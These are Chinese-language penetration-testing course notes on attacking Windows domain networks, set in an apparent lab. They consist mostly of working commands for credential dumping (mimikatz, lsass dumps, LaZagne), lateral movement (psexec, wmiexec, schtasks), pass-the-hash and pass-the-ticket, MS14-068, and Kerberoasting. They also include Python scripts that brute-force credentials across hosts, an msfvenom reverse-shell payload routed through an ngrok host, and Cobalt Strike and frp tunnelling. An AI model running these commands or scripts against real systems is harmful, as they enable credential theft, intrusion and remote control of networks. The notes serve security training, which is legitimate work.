内网安全渗透笔记(小迪)
内网安全
内网安全-域环境&工作组&局域网探针方案
基本认知
DMZ,是英文“demilitarized zone”的缩写,中文名称为“隔离区”,也称“非军事化区”。它是为了解决安装防火墙后外部网络的访问用户不能访问内部网络服务器的问题,而设立的一个非安全系统与安全系统之间的缓冲区。该缓冲区位于企业内部网络和外部网络之间的小网络区域内。在这个小网络区域内可以放置一些必须公开的服务器设施,如企业Web服务器、FTP服务器和论坛等。另一方面,通过这样一个DMZ区域,更加有效地保护了内部网络。因为这种网络部署,比起一般的防火墙方案,对来自外网的攻击者来说又多了一道关卡。
域控制器DC就是域的管理服务器
域是windows下的一种统一化管理的方式,明确一点,一个电脑可以用多个账号登录,并且还可以本地用户和域用户两种方式登录,没有域环境和有域环境的认证方式不同
域环境与工作组的区别
1、域和工作组适用的环境不同,域一般是用在比较大的网络里,工作组则较小,在一个域中需要一台类似服务器的计算机,叫域控服务器,其他电脑如果想互相访问首先都是经过它的,但是工作组则不同,在一个工作组里的所有计算机都是对等的,也就是没有服务器和客户机之分的,但是和域一样,如果一台计算机想访问其他计算机的话首先也要找到这个组中的一台类似组控服务器,组控服务器不是固定的,以选举的方式实现,它存储着这个组的相关信息,找到这台计算机后得到组的信息然后访问。
2、工作组是一群计算机的集合,它仅仅是一个逻辑的集合,各自计算机还是各自管理的,你要访问其中的计算机,还是要到被访问计算机上来实现用户验证的。而域不同,域是一个有安全边界的计算机集合,在同一个域中的计算机彼此之间已经建立了信任关系,在域内访问其他机器,不再需要被访问机器的许可了。
拓展资料
1、域英文叫DOMAIN——域(Domain)是Windows网络中独立运行的单位,域之间相互访问则需要建立信任关系(即Trust Relation)。信任关系是连接在域与域之间的桥梁。当一个域与其他域建立了信任关系后,2个域之间不但可以按需要相互进行管理,还可以跨网分配文件和打印机等设备资源,使不同的域之间实现网络资源的共享与管理。
2、工作组(Work Group)是局域网中的一个概念。它是最常见最简单最普通的资源管理模式,就是将不同的电脑按功能分别列入不同的组中,以方便管理。
环境靶机
案例 1-基本信息收集操作演示
旨在了解当前服务器的计算机基本信息,为后续判断服务器角色,网络环境等做准备。
systeminfo 详细信息
net start 启动服务
tasklist 进程列表
schtasks 计划任务
systeminfo 详细信息
net start 启动服务,可以大致判断当前服务器在域内扮演什么角色。
tasklist 进程列表
schtasks 计划任务,这里加载不出来,权限不够,需要提权。
案例 2-网络信息收集操作演示
旨在了解当前服务器的网络接口信息,为判断当前角色,功能,网络架构做准备
ipconfig /all 判断存在域-dns
net view /domain 判断存在域
net time /domain 判断主域
netstat -ano 当前网络端口开放
nslookup 域名 追踪来源地址
旨在了解当前服务器的⽹络接⼝信息,为判断当前⻆⾊,功能,⽹络架构做准备
ipconfig /all 判断存在域-dns
有域
没有域
net view /domain 判断存在域
net time /domain 判断主域(域控)
获得⼀个计算机名字,我们可以通过ping命令来获取IP地址
netstart -ano 当前主机⽹络端⼝开放,判断角色
查看主机名,也可能判断角色
nslookup 域名 追踪来源地址
案例 3-用户信息收集操作演示
旨在了解当前计算机或域环境下的用户及用户组信息,便于后期利用凭据进行测试
系统默认常见用户身份:
Domain Admins:域管理员(默认对域控制器有完全控制权)
Domain Computers:域内机器
Domain Controllers:域控制器
Domain Guest:域访客,权限低
Domain Users:域用户
Enterprise Admins:企业系统管理员用户(默认对域控制器有完全控制权)
主要针对Domain Admins/Enterprise Admins
相关用户收集操作命令:
whoami /all 用户权限
net config workstation 登录信息
net user 本地用户
net localgroup 本地用户组
net user /domain 获取域用户信息
net group /domain 获取域用户组信息
wmic useraccount get /all 涉及域用户详细信息
net group “Domain Admins” /domain 查询域管理员账户
net group “Enterprise Admins” /domain 查询管理员用户组
net group “Domain Controllers” /domain 查询域控制器
域用户与本地用户的区别?
net user查看本地用户,net user domain查看域用户
GOD\webadmin(域用户)进行计算机管理操作时,需要验证账号密码才能操作,这个就是因为AD⽬录来操控的,域成员主机权限不够。
切换至administrator本地用户,可以直接操作。现在⽤的是⾃⼰的账号,⽽⾮域账号。
相关⽤户收集操作命令:
Whoami /all ⽤户权限
net config workstation 登录信息
net user 本地信息
net localgroup 本地⽤户组
net user /domain 获取域⽤户信息
net group /domain 获取域⽤户组信息
wmic useraccount get /all 涉及域⽤户详细信息
net group “Domain Admins” /domain 查询域管理员账户
通过这些收集,我们可以得到域⽤户名,如果再得到密码,就可以登录操控了
案例 4-凭据信息收集操作演示
旨在收集各种密文,明文,口令等,为后续横向渗透做好测试准备
计算机用户 HASH,明文获取-mimikatz(win),mimipenguin(linux)
上传mimikatz到当前服务器
当前用户是GOD\webadmin,是⽆法运⾏的,权限不⾜,权限提升。
提权后执行成功
获取明文密码和hash有时候内容太长的时候需要导出的一个txt文件中查看,使用命令:
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" > pssword.txt
mimipenguin(Linux)只⽀持部分Linux,同样也需要高权限用户执行
计算机各种协议服务口令获取-LaZagne(all),XenArmor(win)
Netsh WLAN show profiles
Netsh WLAN show profile name=“无线名称” key=clear
1.站点源码备份文件、数据库备份文件等
2.各类数据库 Web 管理入口,如 PHPMyAdmin
3.浏览器保存密码、浏览器 Cookies
4.其他用户会话、3389 和 ipc$连接记录、回收站内容
5.Windows 保存的 WIFI 密码
6.网络内部的各种帐号和密码,如:Email、VPN、FTP、OA 等
LaZagne(all)⽀持全系统,但垃圾
上传运行
XenArmor(win)
上传后执行
其他软件需要配置环境路径
结果,此为免费版本,付费可查看完整密码,也可找破解版。
获取的这些密码可作为爆破字典,内网中大多密码重复使用几率都比较高。
案例 5-探针主机域控架构服务操作演示
为后续横向思路做准备,针对应用,协议等各类攻击手法
探针域控制器名及地址信息
net time /domain nslookup ping
探针域内存活主机及地址信息
nbtscan 192.168.3.0/24 第三方工具
⼀个⽼牌⼯具,既不免杀,还得下载
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.3.%I | findstr “TTL=” 自带内部命令-推荐
⾃带内部命令,不⽤免杀,缺点,显示内容没有那麽多,只有⽬标的地址
nmap masscan 第三方 PowerShell 脚本 nishang empire 等
使⽤第三⽅的⼯具扫描可能会被监控到,从⽽被拦截
nishang举例:已上传到服务器
#导入模块 nishang
Import-Module .\nishang.psm1
#设置执行策略 ,解决上图报错
Set-ExecutionPolicy RemoteSigned
#获取模块 nishang 的命令函数
Get-Command -Module nishang
#获取常规计算机信息
Get-Information
#端口扫描(查看目录对应文件有演示语法,其他同理)
Invoke-PortScan -StartAddress 192.168.3.0 -EndAddress 192.168.3.100 -ResolveHost -ScanPort
#其他功能:删除补丁,反弹 Shell,凭据获取等
探针域内主机角色及服务信息
利用开放端口服务及计算机名判断
核心业务机器:
1.高级管理人员、系统管理员、财务/人事/业务人员的个人计算机
2.产品管理系统服务器
3.办公系统服务器
4.财务应用系统服务器
5.核心产品源码服务器(自建 SVN、GIT)
6.数据库服务器
7.文件或网盘服务器、共享服务器
8.电子邮件服务器
9.网络监控系统服务器
10.其他服务器(内部技术文档服务器、其他监控服务器等)
涉及资源
http://unixwiz.net/tools/nbtscan.html
https://github.com/samratashok/nishang
https://github.com/AlessandroZ/LaZagne
https://github.com/gentilkiwi/mimikatz/releases
https://github.com/huntergregal/mimipenguin/releases/
https://nagareshwar.securityxploded.com/download-softwares/
https://xenarmor.com/allinone-password-recovery-pro-software/
https://pan.baidu.com/s/14eVDglqba1aRXi9BGcBbug提取码:taqu
域横向批量at&schtasks&impacket
传递攻击是建⽴在明⽂和hash获取介质上的⼀种攻击。
2008 r2 webserver
域内 web 服务器
本地管理员账号密码 :
.\administraotr:admin!@#45
当前机器域用户密码 :
god\webadmin:admin!@#45
-------------------------------------
2003 x86 fileserver
域内文件服务器
本地管理员账号密码 :
administrator : admin
当前机器域用户密码 :
god\fileadmin : Admin12345
-------------------------------------
2008 r2 x64 dc god.org
主域控机器
域管账号密码:
God\administrator : Admin12345
-------------------------------------
2012 sqlserver
域内数据库服务器
本地管理员账号密码 :
.\administrator:admin!@#45
当前机器域用户密码 :
god\dbadmin:admin!@#45
-------------------------------------
w7 x64 mary-pc
域内个人机
本地管理员账号密码 :
.\mary : admin
当前机器域用户密码 :
god\mary : admin!@#45
-------------------------------------
w8.1 x64 jack-pc
域内个人机
本地管理员账号密码 :
.\jack : admin
当前机器域用户密码 :
god\boss : Admin12345
案例 1-横向渗透明文传递 at&schtasks
**在拿下一台内网主机后,通过本地信息搜集收集用户凭证等信息后,如何横向渗透拿下更多的主机?**这里仅介绍 at&schtasks 命令的使用,在已知目标系统的用户明文密码的基础上,直接可以在远程主机上执行命令。
获取到某域主机权限->minikatz 得到密码(明文,hash)->用到信息收集里面域用户的列表当做用户名字典->用到密码明文当做密码字典-》尝试连接->创建计划任务(at|schtasks)->执行文件可为后门或者相关命令。
利用流程
- 建立 IPC 链接到目标主机
- 拷贝要执行的命令脚本到目标主机
- 查看目标时间,创建计划任务(at、schtasks)定时执行拷贝到的脚本
- 删除 IPC 链接
net use \\server\ipc$"password" /user:username # 工作组
net use \\server\ipc$"password" /user:domain\username #域内
dir \\xx.xx.xx.xx\C$\ # 查看文件列表
copy \\xx.xx.xx.xx\C$\1.bat 1.bat # 下载文件
copy 1.bat \\xx.xx.xx.xx\C$ # 复制文件
net use \\xx.xx.xx.xx\C$\1.bat /del # 删除 IPC
net view xx.xx.xx.xx # 查看对方共享
#建立 IPC 常见的错误代码
(1)5:拒绝访问,可能是使用的用户不是管理员权限,需要先提升权限
(2)51:网络问题,Windows 无法找到网络路径
(3)53:找不到网络路径,可能是 IP 地址错误、目标未开机、目标 Lanmanserver 服务未启动、有防火墙等问题
(4)67:找不到网络名,本地 Lanmanworkstation 服务未启动,目标删除 ipc$
(5)1219:提供的凭据和已存在的凭据集冲突,说明已建立 IPC$,需要先删除
(6)1326:账号密码错误
(7)1792:目标 NetLogon 服务未启动,连接域控常常会出现此情况
(8)2242:用户密码过期,目标有账号策略,强制定期更改密码
#建立 IPC 失败的原因
(1)目标系统不是 NT 或以上的操作系统
(2)对方没有打开 IPC$共享
(3)对方未开启 139、445 端口,或者被防火墙屏蔽
(4)输出命令、账号密码有错误
[at] & [schtasks] 都是基于定时任务的攻击
at < Windows2012
net use \\192.168.3.21\ipc$ "Admin12345" /user:god.org\administrator # 建立 ipc 连接:
copy add.bat \\192.168.3.21\c$ #拷贝执行文件到目标机器,(实战中⼤多是CS或者MSF⽊⻢)
at \\192.168.3.21 15:47 c:\add.bat #添加计划任务
schtasks >=Windows2012
net use \\192.168.3.32\ipc$ "admin!@#45" /user:god.org\administrator # 建立 ipc 连接:用户需为本地用户
copy add.bat \\192.168.3.32\c$ #复制文件到其 C 盘
schtasks /create /s 192.168.3.32 /ru "SYSTEM" /tn adduser /sc DAILY /tr c:\add.bat /F #创建 adduser 任务对应执行文件
schtasks /run /s 192.168.3.32 /tn adduser /i #运行 adduser 任务
schtasks /delete /s 192.168.3.21 /tn adduser /f#删除 adduser 任务
案例 2-横向渗透明文 HASH 传递 atexec-impacket
impacket:https://gitee.com/RichChigga/impacket-examples-windows
https://www.freebuf.com/sectool/175208.html # 参考文献
atexec是impacket其中的一个工具,还⾃带提权。优点:⽅便快捷,可以⽀持hash。缺点:第三⽅⼯具,会受到杀毒软件或防护的影响。如果 ⽬标主机有杀软或防护的话,要对该软件进⾏免杀。
atexec.exe ./administrator:Admin12345@192.168.3.21 "whoami" #明文
atexec.exe god/administrator:Admin12345@192.168.3.21 "whoami"
atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21 "whoami" #hash
案例 3-横向渗透明文 HASH 传递批量利用-综合
webServer已经拿到权限
获取密码
获得本机密码
探针存活主机
使⽤批处理来跑多个IP地址使⽤固定的密码账号,来执⾏个whoami,ips.txt就是刚才收集到存活主机 的IP地址
通过返回信息来判断能否连接
192.168.3.29采⽤的是同密码
继续拿下这个主机,重复之前操作。丰富密码字典。
之后拿密码字典去攻击域控
FOR /F %%i in (ips.txt) do net use \\%%i\ipc$ "admin!@#45" /user:administrator #批量检测 IP 对应明文连接
FOR /F %%i in (ips.txt) do atexec.exe ./administrator:admin!@#45@%%i whoami #批量检测 IP 对应明文回显版
FOR /F %%i in (pass.txt) do atexec.exe ./administrator:%%i@192.168.3.21 whoami #批量检测明文对应 IP回显版
FOR /F %%i in (hash.txt) do atexec.exe -hashes :%%i ./administrator@192.168.3.21 whoami #批量检测HASH 对应 IP 回显版
⽤户名也可以变。以上bat缺点只有⼀个变量。可以⽤bat实现多变量,也可以使⽤python写,然后使⽤第三⽅库,打包成.exe
案例 4-横向渗透明文 HASH 传递批量利用-升级版
承接案例3-python版
net use \192.168.3.32\ipc$ admin!@#45 /user:god\dbadmin
#pip install pyinstaller
#pyinstaller -F fuck_neiwang_001.py ⽣成可执⾏EXE
代码:
import os,time
ips={
'192.168.3.21',
'192.168.3.25',
'192.168.3.29',
'192.168.3.30',
'1'
}
user = {
'Administrator',
'boss',
'dbadmin',
'fileadmin',
'mack',
'mary',
'vpnadm',
'webadmin'
}
passs = {
'admin',
'admin!@#45',
'Admin12345'
}
for ip in ips:
for user in users:
for mima in passs:
exec = "net use \\"+"\\"+ip+"\ipc$ "+mina+" /user:god\\"+user
print("----->"+exec+"<-----")
os.system(exec)
time.sleep(1)
执行,这里的脚本源码时单线程,可以做多线程等优化,运行更便捷。
net use查看链接情况,
内网安全-域横向 smb&wmi 明文或 hash 传递
知识点1:
Windows2012以上版本默认关闭wdigest,攻击者⽆法从内存中获取明⽂密码。这种情况mimkatz只能获取hash。
Windows2012以下版本如安装KB2871997补丁,同样也会导致⽆法获取明⽂密码
针对以上情况,我们提供了4种⽅式解决此类问题
1.利⽤哈希hash传递(pth,ptk等)进⾏移动
2.利⽤其他服务协议(SMB,WMI等)进⾏哈希移动
3.利⽤注册表操作开启Wdigest Auth值进⾏获取
4.利⽤⼯具或第三⽅平台(Hachcat)进⾏破解获取
Hashcat破解获取Windows NTML
Hash hashcat -a 0 -m 1000 file --force
知识点2:
Windows系统的LM HASH及NTLM Hash加密算法,个⼈系统在Windows vista后,服务器系统在 Windows 2003以后,认证⽅式均为NTLM Hash。
案例 1-Procdump+Mimikatz 配合获取
procdump是Windows官⽅的⼯具
如果上传Minmiktz上传后被杀,可以使⽤Procdump+Mimikatz这个⽅法 .
procdump 配合 mimikatz
procdump -accepteula -ma lsass.exe lsass.dmp
mimikatz 上执行:
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
运⾏procdump在当前⽬录下⽣成lsass.dmp⽂件
然后再在mimi上使⽤命令还原出来密码
在⽬标主机上⽤proc⽣成⽂件,然后再在本地上⽤Mim还原出密码
mimikatz上执⾏:
sekurlas::minidump lsass.dmp
sekurlas::logonPasswords full
能够直接获取明文-与mimikatz在服务器中运行结果一致。
案例 2-域横向移动 SMB 服务利用-psexec(官方三方),smbexec(三方)
利用 SMB 服务可以通过明文或 hash 传递来远程执行,条件 445 服务端口开放。
psexec 第一种:先有 ipc 链接,psexec 需要明文或 hash 传递
net use \\192.168.3.32\ipc$ “admin!@#45” /user:administrator
psexec \\192.168.3.32 -s cmd # 需要先有 ipc 链接 -s 以 System 权限运行
psexec 第二种:不用建立 IPC 直接提供明文账户密码
官方 Pstools 无法采用 hash 连接
psexec \\192.168.3.21 -u administrator -p Admin12345 -s cmd
psexec -hashes :$HASH$ ./administrator@10.1.2.3
psexec -hashes :$HASH$ domain/administrator@10.1.2.3
psexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32
在官⽹下载pstools,上传⾄⽬标主机执行语句
执⾏命令,将前期信息收集到的ip地址,⽤户名 ,密码,反弹回cmd
基于Hash的:
执⾏时出现了问题,解决需要⽤到⼀个⾮官⽅的库impacket的psexec,官方的不支持hash
反弹成功
非官方自带-参考 impacket 工具包使用,操作简单,容易被杀
smbexec 无需先 ipc 链接 明文或 hash 传递
smbexec god/administrator:Admin12345@192.168.3.21
smbexec ./administrator:admin!@#45@192.168.3.32
smbexec -hashes :$HASH$ ./admin@192.168.3.21
smbbexec -hashes :$HASH$ domain/admin@192.168.3.21
smbexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32
smbexec -hashes :ccef208c6485269c20db2cad21734fe7god/administrator@192.168.3.21
链接目标主机域用户administrator
链接目标主机本地用户administrator
案例 3-域横向移动 WMI 服务利用-cscript,wmiexec,wmic
WMI(Windows Management Instrumentation) 是通过 135 端口进行利用,支持用户名明文或者 hash的方式进行认证,并且该方法不会在目标日志系统留下痕迹。
自带 WMIC 明文传递 无回显
wmic /node:192.168.3.21 /user:administrator /password:Admin12345 process call create "cmd.exe /c ipconfig >C:\1.txt"
目标主机原本是没有1.txt
在当前主机上执⾏命令,等待连接
连接完毕后,在⽬标主机上连接的那个域主机上出现了1.txt
这个命令的弊端就是在当前主机没有回显,只有其他方式读取目标主机生成的文件,比较尴尬。
自带 cscript 明文传递 有回显
cscript //nologo wmiexec.vbs /shell 192.168.3.21 administrator Admin12345
需要借助⼀个wmiexec.vbs⽂件,在资源中有 (wmiexec.vb下载地址:https://github.com/realdeveloperongithub/K8tools/blob/master/wmiexec.vbs)
执⾏命令,反弹cmd
套件 impacket wmiexec 明文或 hash 传递有回显exe版本
wmiexec ./administrator:admin!@#45@192.168.3.32 "whoami"
wmiexec god/administrator:Admin12345@192.168.3.21 "whoami"
wmiexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 "whoami"
wmiexec -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21 "whoami"
案例 4-域横向移动以上服务 hash 批量利用-python 编译 exe
pyinstaller.exe -F fuck_neiwang_002.py
import os,time
ips={
'192.168.3.21',
'192.168.3.25',
'192.168.3.29',
'192.168.3.30',
'192.168.3.32'
}
users={
'Administrator',
'boss',
'dbadmin',
'fileadmin',
'mack',
'mary',
'webadmin'
}
hashs={
'ccef208c6485269c20db2cad21734fe7',
'518b98ad4178a53695dc997aa02d455c'
}
for ip in ips:
for user in users:
for mimahash in hashs:
#wmiexec -hashes :hashgod/user@ipwhoami
exec = "wmiexec -hashes :"+mimahash+" god/"+user+"@"+ip+" whoami"
print('--->' + exec + '<---')
os.system(exec)
time.sleep(0.5)
涉及资源:
https://github.com/hashcat/hashcat
https://www.freebuf.com/sectool/164507.html
https://github.com/gentilkiwi/mimikatz/releases
https://github.com/SecureAuthCorp/impacket
https://gitee.com/RichChigga/impacket-examples-windows
https://docs.microsoft.com/zh-cn/sysinternals/downloads/pstools
https://docs.microsoft.com/zhcn/sysinternals/downloads/procdump
https://pan.baidu.com/s/1Vh4ELTFvyBhv3Avzft1fCw 提取码:xiao
内网安全-域横向 PTH&PTK&PTT 哈希票据传递
Kerberos 协议具体工作方法,在域中,简要介绍一下:
- 客户机将明文密码进行 NTLM 哈希,然后和时间戳一起加密(使用krbtgt 密码 hash 作为密钥),发送给 kdc(域控),kdc 对用户进行检测,成功之后创建 TGT(Ticket-Granting Ticket).
- 将 TGT 进行加密签名返回给客户机器,只有域用户 krbtgt 才能读取 kerberos 中 TGT 数据
- 然后客户机将 TGT 发送给域控制器 KDC 请求 TGS(票证授权服务)票证,并且对 TGT 进行检测
- 检测成功之后,将目标服务账户的 NTLM 以及 TGT 进行加密,将加密后的结果返回给客户机。
PTH(pass the hash) #利用 lm 或 ntlm 的值进行的渗透测试
PTT(pass the ticket) #利用的票据凭证 TGT 进行的渗透测试 -基于Kerberos 协议
PTK(pass the key) #利用的 ekeys aes256 进行的渗透测试
PTH 在内网渗透中是一种很经典的攻击方式,原理就是攻击者可以直接通过 LM Hash 和 NTLM Hash访问远程主机或服务,而不用提供明文密码。
如果禁用了 ntlm 认证,PsExec 无法利用获得的 ntlm hash 进行远程连接,但是使用 mimikatz 还是可以攻击成功。对于 8.1/2012r2,安装补丁 kb2871997 的 Win 7/2008r2/8/2012 等,可以使用 AES keys代替 NT hash 来实现 ptk 攻击,
总结:KB2871997 补丁后的影响
pth:没打补丁用户都可以连接,打了补丁只能 administrator 连接
ptk:打了补丁才能用户都可以连接,采用 aes256 连接
https://www.freebuf.com/column/220740.html
PTT 攻击的部分就不是简单的 NTLM 认证了,它是利用 Kerberos 协议进行攻击的,这里就介绍三种常见的攻击方法:MS14-068,Golden ticket,SILVER ticket,简单来说就是将连接合法的票据注入到内存中实现连接。
MS14-068 基于漏洞,Golden ticket(黄金票据),SILVER ticket(白银票据)
其中 Golden ticket(黄金票据),SILVER ticket(白银票据)属于权限维持技术
MS14-068 造成的危害是允许域内任何一个普通用户,将自己提升至域管权限。微软给出的补丁是kb3011780
案例 1-域横向移动 PTH 传递-mimikatz
mimikatz不仅可以获取明文等信息,也可以进行pth等相关的攻击。
严谨⼀点,LM和NTML最好都收集
下⾯这个命令是获取aes256加密的
PTH ntlm 传递
未打补丁下的工作组及域连接:
sekurlsa::pth /user:administrator /domain:god /ntlm:ccef208c6485269c20db2cad21734fe7
sekurlsa::pth /user:administrator /domain:workgroup /ntlm:518b98ad4178a53695dc997aa02d455c
sekurlsa::pth /user:boss /domain:god /ntlm:ccef208c6485269c20db2cad21734fe7
\\OWA2010CN-God.god.org
先尝试攻击域控主机
直接连接域控主机是⽆法连接的
使⽤mimikatz进⾏攻击
攻击命令上并没有指定IP地址,这是⼀种随机攻击,IP地址是前期信息收集的,连接时,可以遍历IP地址, 看哪个有回显。
攻击成功反弹回来了⼀个cmd,在这个cmd中进⾏连接。
如果IP地址不识别,就换成计算机名
之后就和at schtasks⼀样了,复制⽂件,执⾏⽂件等 攻击另外⼀台主机
这⾥domain是⼀个⼯作组,直接连接到了主机的本地的Administrator
案例 2-域横向移动 PTK 传递-mimikatz
PTK aes256 传递 - 必须打补丁才能使用
打补丁后的工作组及域连接:
sekurlsa::ekeys #获取 aes
sekurlsa::pth /user:mary /domain:god /aes256:d7c1d9310753a2f7f240e5b2701dc1e6177d16a6e40af3c5cdff814719821c4b
弹出⼀个cmd窗⼝,尝试连接域内主机
案例 3-域横向移动 PTT 传递-ms14068&kekeo&本地
第一种利用漏洞:
能实现普通用户直接获取域控 system 权限
MS14-068 powershell 执行
1.查看当前 sid whoami/user
2.mimikatz # kerberos::purge//清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
mimikatz # kerberos::list //查看当前机器凭证
mimikatz # kerberos::ptc 票据文件 //将票据注入到内存中
3.利用 ms14-068 生成 TGT 数据
ms14-068.exe -u 域成员名@域名 -s sid -d 域控制器地址 -p 域成员密码
MS14-068.exe -u mary@god.org -s S-1-5-21-1218902331-2157346161-1782232778-1124 -d 192.168.3.21 - p admin!@#45
4.票据注入内存
mimikatz.exe “kerberos::ptc TGT_mary@god.org.ccache” exit
5.查看凭证列表 klist
6.利用 dir \192.168.3.21\c$
演示
域内主机
记录下sid值,
在域内主机mary上执⾏
⽣成TGT_mary@god.org.ccache
查看mary内与那些主机有链接产⽣的票据
为了防⽌影响我们的操作,删除已有的票据
⽤mimi导⼊票据到内存,并且查看是否导⼊成功
连接域控主机
⽤IP地址连接错误,⽤计算机名
第二种利用工具 kekeo
1.生成票据
kekeo "tgt::ask /user:mary /domain:god.org /ntlm:518b98ad4178a53695dc997aa02d455c"
2.导入票据
kerberos::ptt TGT_mary@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi
3.查看凭证 klist
4.利用 net use 载入
dir \192.168.3.21\c$
第三种利用本地票据(需管理权限)
前提是当前主机与目标主机10小时内连接过,就存在票据。
sekurlsa::tickets /export
kerberos::ptt xxxxxxxxxx.xxxx.kirbi
总结:ptt 传递不需本地管理员权限,连接时主机名连接,基于漏洞,工具,本地票据
导出票据后,会导出到你当前执⾏⽬录,收集好票据
缺陷:ptt只能保持10个⼩时,如果能拿到10个⼩时内的凭据,可以成功
导⼊成功
案例 4-国产 Ladon 内网杀器测试验收
信息收集-协议扫描-漏洞探针-传递攻击等
我们打开Ladon的gui版本
扫描时,选择的时OnlinePC(存活主机),会尝试获取存活主机
⽤命令⾏形式执⾏扫描存活主机
域横向CobaltStrike&SPN&RDP
cs教程:https://blog.ateam.qianxin.com/CobaltStrike4.0%E7%94%A8%E6%88%B7%E6%89%8B%E5%86%8C_%E4%B8%AD%E6%96%87%E7%BF%BB%E8%AF%91.pdf
案例1-域横向移动RDP传递-Mimikatz
除了上述讲到的IPC,WMI,SMB等协议的链接外,获取到的明⽂密码或HASH密⽂也可以通过、RDP协议 进⾏链接操作。
RDP协议连接:判断对⽅远程桌⾯是否开启(3389端⼝)
RDP明⽂密码链接
Windows:mstsc
mstsc.exe /console /v192.168.3.21 /admin
linux:rdesktop 192.168.3.21:3389
RDP密文HASH链接
windows Server需要开启 Restricted Admin mode,在Windows 8.1和Windows Server 2012 R2中默认开启,同时如果Win 7 和windows Server 2008 R2安装了2871997、2973351补丁也支持;
开启命令∶
REG ADD"HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_ DWORD /d 00000000 /f
开启后运行∶
mstsc.exe /restrictedatmin
mimikatZ.exe
privilege::debug
sekurlsa::pth /user:administrator /domain:god /ntlm:ccef208c6485269c20db2cad21734fe7 "/run:mstsc.exe /restrictedadmin"
案例2-域横向移动SPN服务,探针,请求,破解,重写
https://www.cnblogs.com/backlion/p/8082623.htmo
探针:spn查询是普通Kerberos票据的一部分的一部分,不会被防火墙等设备拦截。
spn只支持域内用户,不支持本地用户
setspn -q */*
setspn -q */* | finder "MSSQL"
固定查找
请求:
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "xxxx"
mimikatz.exe "kerberos::ask /target:xxxx"
导出
mimikatz.exe "kerberos::ask /target:xxxxx"
⽤mimi导出刚才请求⽣成的票据,默认导出到mimi的目录下
破解
破解得到⼀个密码Admin12345
域控主机的环境信息
发现的确获得sqlserver密码
重写
再将票据注入内存,进行之后操作。
域横向移动测试流程⼀把梭-CS初体验
此案例还原完整内网渗透流程
环境:cs部署到了外网服务器。目标域还是本机这几台虚拟机。
⼤概流程:
启动-配置-监听-执⾏-上线-提权-信息收集(⽹络,凭证,定位等)-渗透
1.关于启动及配置讲解
2.关于提权及插件加载
3.关于信息收集命令讲解
4.关于视图⾃动化功能讲解
客户端连接团队服务器
启动团队服务器,设定密码,密码再客户端连接时要验证
点击客户端连接
进⼊到了CS界⾯
配置监听器可以区分那个是⾃⼰的,监听器就是配置⼀个⽊⻢传输的管道
配置监听器
点击ADD可以增加监听器,并且监听器⽀持多种协议
点击save保存
监听状态
⽣成后⻔,有多种后⻔,我们这⾥选择Windows
绑定监听器,这个后⻔触发,就从当前的监听器⾛
上传到⽬标服务器
后⻔执⾏后,cs客户端上线了⽬标服务器
点击视图,可以看到许多有⽤的信息,例如当前⽤户和已知的拓扑图
接下来进⾏提权操作
⾃带的只有两种提权⽅式
我们可以加载插件
上传插件
载⼊成功后,发现提权⽅式变多了
选中payload和监听器
开始攻击,如果速度过慢,我们可以重新设置sleep
出现了⼀个system,提权成功
点击insert进⼊终端执⾏命令
可以输⼊help来查看有那些命令
信息收集
探针当前⽹络环境
点击view->Targets
获得当前域控列表
有些dos命令不⽀持,我们可以调⽤shell来执⾏
通过mimi获得的密码可以列表化
选中主机来进⾏攻击
尝试连接
代理问题
⾃主⼯具可以上传sadon
涉及资源∶
https://github.com/nidem/kerberoast
https://pan.baidu.com/s/1Vh4ELTFvyBhv3AvztfCw 提取码∶xiao
https://github.com/pandasec888/taowu-cobalt-strike
https://pan.baidu.com/s/15DCt2Rzg5cZjXnEuUTgQ9Q提取码∶dtm2
https://pan.baidu.com/s/14eVDglqba1aRXi9BGcBbug 提取码∶taqu
https://github.com/DeEpinGh0st/Erebus
https://github.com/rsmudge/ElevateKit
https://github.com/harleyQu1nn/AggressorScripts
https://github.com/bluscreenofjeff/AggressorScripts
内网安全-域横向内网漫游 Socks 代理隧道技术
必要基础知识点:
1.内外网简单知识
2.内网 1 和内网 2 通信问题,可以⽤代理解决.
3.正向反向协议通信连接问题
正向:指正⽅向连接,控制端连接被控制端
反向:指反⽅向连接,被控制端连接控制端
假如控制端是公⽹,被控是内⽹,如果,你直接去找在内⽹被控的是⽆法找到的。可以让被控端 去找控制端
4.内网穿透代理隧道技术说明
隧道主要是解决流量分析⼯具,流量监控⼯具,防⽕墙相关过滤
代理主要解决⽹络连通性问题
案例 1-内网穿透 Ngrok 测试演示-两个内网通讯上线
实验环境:两个不同的内网(有网络)实现穿透控制
1.注册-购买-填写-确认 http://www.ngrok.cc/
协议:http 本地端口:192.168.76.132:4444
2.测试:内⽹1执⾏后⻔-免费主机处理-内⽹2监听-内⽹2接收器
./sunny clientid id
msfvenom -p windows/meterpreter/reverse_http lhost=xiaodisec.free.idcfengye.com lport=80 -f exe -o test.exe
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 192.168.76.132
set lport 4444
exploit
协议要对应
攻击机是⼀台kali,在上⾯下载ngrok并且打开它,clientid为注册后给的id
⽬标机只要访问xioadiisec.free.idcfengye.com就可以连接到攻击机kali
msf⽣成后⻔
⽬标机是win7,将msf的⽊⻢上传到⽬标机,在kali上监听
在win7的⽬标机上执⾏后⻔,kali收到会话
并且在sunny上也看到流量在传递
案例 2-内网穿透 Frp 自建跳板测试-两个内网通讯上线
自行搭建,方便修改,成本低,使用多样化,适合高富帅及隐私哥哥们
1.服务端-下载-解压-修改-启动(阿里云主机记得修改安全组配置出入口)
服务器修改配置文件 frps.ini:
[common]
bind_port = 6677
启动服务端:
./frps -c ./frps.ini
2.控制端-下载-解压-修改-启动
控制端修改配置文件 frpc.ini:
[common]
server_addr = 你的云主机 ip
server_port = 6677 #frpc 工作端口,必须和上面 frps 保持一致
[msf]
type = tcp
local_ip = 127.0.0.1
local_port = 5555 #转发给本机的 5555
